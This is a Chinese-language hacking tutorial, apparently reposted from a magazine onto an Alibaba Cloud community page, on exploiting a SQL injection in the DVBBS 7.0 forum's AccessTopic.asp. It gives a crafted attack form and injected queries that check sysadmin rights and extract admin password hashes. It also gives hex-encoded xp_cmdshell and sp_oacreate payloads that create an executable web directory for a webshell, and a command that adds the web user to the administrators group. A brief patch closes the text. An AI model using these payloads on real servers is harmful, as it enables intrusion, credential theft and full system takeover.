DVBBS7.0 ---幕後的微笑

來源:互聯網
上載者:User
動網論壇7.0自從發布以來進一步擴大了其在asp論壇領域的聲譽和好評,無論是在美工、效能、安全性和效率上都比上一個版本有了很大的進步。在讀代碼的時候給我的唯一感覺就是——美。但是世上沒有不透風的牆啊,代碼寫得再嚴謹也是會有疏忽的時候。為了找出它的漏洞,我就像是大海撈針一樣在茫茫的代碼中尋覓,驀然回首那人卻在燈火闌珊處。請跟著我來看一看吧。第一篇 發現新大陸CODE  開啟AccessTopic.asp檔案,翻到第200-212行,內容為:……Sub freetopic()……For i=1 to request.form("Announceid").countID=replace(request.form("Announceid")(i),"'","")'刪除If request("actiontype")=2 ThenSet Rs=Dvbbs.Execute("select rootid from "&Dvbbs.NowUsebbs&" where parentid=0 And Announceid="&id)If not (rs.eof And rs.bof) ThenDvbbs.Execute("delete from dv_topic where topicid="&rs(0))Dvbbs.Execute("delete from "& Dvbbs.NowUsebbs &" where rootid="&rs(0))FoundID=rs(0)ElseDvbbs.Execute("delete from "&Dvbbs.NowUsebbs&" where Announceid="&id)FoundID=0End If……很明顯對request.form("Announceid")的值只進行了單引號的過濾,幸好在SQL語句裡面不是作為字串使用,要不然就沒有玩的了。要想突破這個單引號的限制非常簡單,只要把我們需要用到的字串用SQL Encoder進行轉換一下就可以直接使用了。其基本原理就是在MSSQL中自動的將varbinary類型的資料轉換為varchar類型資料,然而這一點在asp中一般是無法分辨出來的。在接下來的操作中涉及到字串的部分為了便於理解,我保留了原文。在實際操作中請用SQL Encoder進行轉換一下,除非特殊情況不作說明。第二篇 動網論壇的小鞋這個檔案在動網論壇中是各項用於待審核文章的操作,發現漏洞的過程為刪除待審核文章(request("actiontype")=2)。但是這項功能只有在開放某一個版面的文章審核功能的時候才可能用到,而且只有斑竹才能使用,其標誌變數為在資料中的Dv_Board.BoardSetting列第4個數。由於此功能預設是關閉的,大部分論壇也不會用到,所以將其評為低危險程度的漏洞。在利用的時候我們可以想像得到Access資料庫的功能低下,就彷彿是一個弱智一樣,也就沒有什麼利用價值了,因此我只討論使用MSSQL資料庫的情況。你可能會想,既然如此不就可以利用報錯得到管理員的密碼德md5密文了嗎,這可就錯了。在論壇中每一個SQL語句的執行都是通過Dvbbs.Execute這個過程來實現的,相關代碼可以在inc\Dv_ClsMain.asp中找到,在這個過程中過濾了dv_admin關鍵字,起初的時候我還想過用特殊的方法去構造語句,但是全部失敗,如果你有什麼辦法成功了可別忘記告訴我啊。由於Announceid是用request.form取得,再利用的時候就要構造本地提交表單,其內容為:CODE  <form action="http://目標伺服器地址及相對路徑/accesstopic.asp?action=freetopic" method=post name=batch><input type=hidden value="修改為開啟審核功能版面的boardid值" name=boardid><input name="actiontype" value="2" type=hidden><textarea name="Announceid" cols="100" rows="20" id="Announceid"></textarea><input name=submit value="執行" type=submit></form>只要在滿足上述條件的情況下,將表單中的值設定好之後就可以往下看了。第三篇 讓我們知道自己的權力在取得絕對路徑之前先要判斷當前資料庫使用者的許可權,這裡就遇到了一個問題,無論我們提交的語句是否成立,只要不產生錯誤,返回的資訊都是相同的。你可能已經想到了,就是要將Announceid的值設定為一個已經存在的待審核文章,在提交成功之後,如果這個文章已經被刪除就說明我們的條件是正確的,否則就是錯誤的。在這裡為了方便,假設每次執行都使用已經存在的boardid=1文章。由於在資料庫的所有許可權中只有sysadmin才有利用價值,所以只需判斷他就可以了。開啟我們剛才構造的那個表單,並在另外一個頁面中用該版版主帳號登陸,下面的操作都是在這種條件下完成的,因此不再提及。因此在textarea中填入:1 and 1=(select is_srvrolemember('sysadmin'))提交後根據上面提到的判斷條件就可知道結果了。同樣也可以利用這種方法來判斷是否存在xp_cmdshell儲存擴充,提交語句為1 and 1=( select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell')如果沒有該許可權的話就只能利用報錯看一看前台管理員的密碼了,需要提交的語句為:1 and 1=(select top 1 UserPassword from Dv_User where UserGroupID=1)如果你想讓自己在論壇裡面的許可權得到提升的話就去破解這個md5密文吧——據說非常困難。然而在具有sysadmin許可權的情況下就相當於得到了伺服器的絕對控制權——在作業系統中以system許可權執行。接著往下看我是怎麼利用該許可權的吧。第四篇 尋找羅馬大路在第2004.3期上臭要飯的提到用xp_regread儲存擴充讀取註冊表的方法來獲得web絕對路徑,但是經過我的測試後發現這種方法只能得到web伺服器安裝時的預設路徑,如果管理員夠聰明的話肯定會進行修改這個值的,那就會導致上傳asp木馬的失敗。我想你可能以體會到過這種情況吧。現在換個思路考慮,既然不能得到這個路徑,那就在伺服器上用我們制定的路徑建一個虛擬目錄問題不就迎刃而解了嗎?經過我的測試提交下面的語句可以實現這個操作:1;exec('master.dbo.xp_cmdshell ''cscript C:\Inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "1" -v "win","c:\winnt\"''')exec('master.dbo.xp_cmdshell ''cscript C:\Inetpub\AdminScripts/adsutil.vbs set w3svc/1/root/win/AccessExecute True''')這樣就在預設伺服器下面建立了一個名為win的虛擬目錄,其絕對路徑為c:\winnt\,並且具有執行動態指令碼的許可權,關於mkwebdir.vbs和adsutil.vbs的使用方法可以參考微軟的MSDN它比我講得明白。現在你可以通過訪問http://www.sitename.com/win/來判斷是否建立成功:返回403錯誤說明建立成功,返回500錯誤說明建立失敗。你也許會發現一個問題,在使用SQL Encoder編碼後提交語句沒有一次成功過,難道語句有錯誤嗎?但是如果你在查詢分析器內測試的話他會成功地執行,問題出在資料類型轉換的問題上。在MSSQL中exec函數不能進行我們要求的這種資料類型轉換,因此需要一步另外的操作。正確的提交代碼為:CODE  1;declare @a nvarchar(255);select @a=0x6d00610073007400650072002e00640062006f002e00780070005f0063006d0064007300680065006c006c00200027006300730063007200690070007400200063003a005c0069006e00650074007000750062005c00610064006d0069006e0073006300720069007000740073005c006d006b007700650062006400690072002e0076006200730020002d00630020006c006f00630061006c0068006f007300740020002d007700200022003100220020002d00760020002200770069006e0022002c00220063003a005c00770069006e006e0074005c0022002700;exec(@a);select @a=0x6d00610073007400650072002e00640062006f002e00780070005f0063006d0064007300680065006c006c00200027006300730063007200690070007400200063003a005c0069006e00650074007000750062005c00610064006d0069006e0073006300720069007000740073002f006100640073007500740069006c002e0076006200730020007300650074002000770033007300760063002f0031002f0072006f006f0074002f00770069006e002f006100630063006500730073006500780065006300750074006500200074007200750065002700;exec(@a);首先聲明一個nvarchar(255)類型的變數,然後讓賦值運算子去進行資料類型的轉換。還有一點需要注意,在MSSQL中字串內部的單引號要用兩個單引號,但是在我們使用SQL Encoder進行編碼的時候一定要堅持一個單引號的方針,執行運算式不能轉換的資料類型交給賦值運算子的政策。後面的代碼中基本上都要用到這種方法,所以為了靈活運用一定要記住它。也許你會遇到伺服器沒有xp_cmdshell的情況,而且這個時候還沒有取得web絕對路徑,建立webshell根本就無從談起。遇到這種情況也不要氣餒,我們還有另外的一種方法可以完成這項操作。提交下面的語句:CODE  1;declare @o int;exec sp_oacreate 'wscript.shell',@o out;exec sp_oamethod @o,'run',NULL,'cscript C:\Inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "1" -v "win","c:\winnt\"';exec sp_oacreate 'wscript.shell',@o out;exec sp_oamethod @o,'run',NULL,'cscript C:\Inetpub\AdminScripts/adsutil.vbs set w3svc/1/root/win/AccessExecute True';至於資料類型轉換的問題可以利用剛才提到的方法去解決。一般的時候管理員很少會注意到sp_oacreate和sp_oamethod這兩個儲存擴充,你可以放心的去使用。現在通往羅馬的大陸就在我們的面前,那就讓我們跑起來吧!什麼,你說開車更快點?第五篇 把跑車開上大路知道了web絕對路徑以後,就可以寫入webshell了,據我所知的有五種方法可以實現:1. N.E.V.E.R的通過使用資料備份的方法,雖然有大量垃圾資料的產生,但是對許可權的要求很低,具體可參考他的相關文章;2. CZY的使用sp_makewebtask儲存擴充匯出表中資料的方法,附加的資料量很少而且避免了使用xp_cmdshell儲存擴充的情況,這種方法我已經在sp_makewebtask.txt給出詳細的代碼;3. 使用xp_cmdshell執行批處理的方法,這種方法比較實用,沒有任何多於資料的寫入問題,在xp_cmdshell.txt檔案中你可以找到詳細的內容。可以用於只能串連伺服器80連接埠的情況——如果有3389的話還用我說嗎?4. 利用sp_oacreate和sp_oamethod這兩個儲存擴充執行批處理的方法,使用的條件與xp_cmdshell相同,由於這種方法與3中幾乎同出一轍就不再給出代碼了;5. 利用sp_oacreate和sp_oamethod這兩個儲存擴充調用scripting.filesystemobject對象進行檔案的建立及寫入操作,使用條件同上。在sp_oacreate&sp_oamethod.txt檔案中有詳細的代碼。在上述方法中給出的webshell代碼均是修改自海洋頂端的cmd.asp,經過簡化之後僅餘13行關鍵區段,詳細內容見cmd.txt。你是怎麼把車開上路的就要看實際情況了,馬爺爺告訴我們要具體情況具體分析的嘛!第六篇 把安全帶系牢你肯定發現了在資料庫內的system許可權在建立webshell之後就成了Guests許可權,這不是造成浪費了嗎!為了繼承勤儉節約的光榮傳統,可以執行下面的SQL語句將浪費降低到最低的程度:exec('master.dbo.xp_cmdshell ''net localgroup administrators IUSR_''+host_name()+'' /add''')當然通過sp_oacreate和sp_oamethod這兩個儲存擴充執行也可以,關鍵在於靈活運用,因時制宜,因地制宜。你問我接下來該幹什嗎?我faint,你還是多買兩本黑防看一看吧,它會教你怎麼做的。結束語其實這個漏洞的修補非常的簡單,只要將代碼中的ID=replace(request.form("Announceid")(i),"'","")這一句改為下面的語句就可以了ID= request.form("Announceid")(i)If isnumeric(ID) thenID=CLng(ID)ElseID=0End if千萬不要小看isnumeric函數的作用,修補漏洞可全靠它呢。俗話說蓋一座大樓很困難,但是想拆掉它卻是很容易。如果想讓自己設計的建築更加牢固,就要更加完備的設計,即使細節的部分也不能放過,以免由於疏忽而導致蟻穴叢生。對於軟體來說就不僅僅是本身的坍塌了,有可能會帶來毀滅性的災難,甚至於危及整個伺服器和伺服器

相關文章

E-Commerce Solutions

Leverage the same tools powering the Alibaba Ecosystem

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。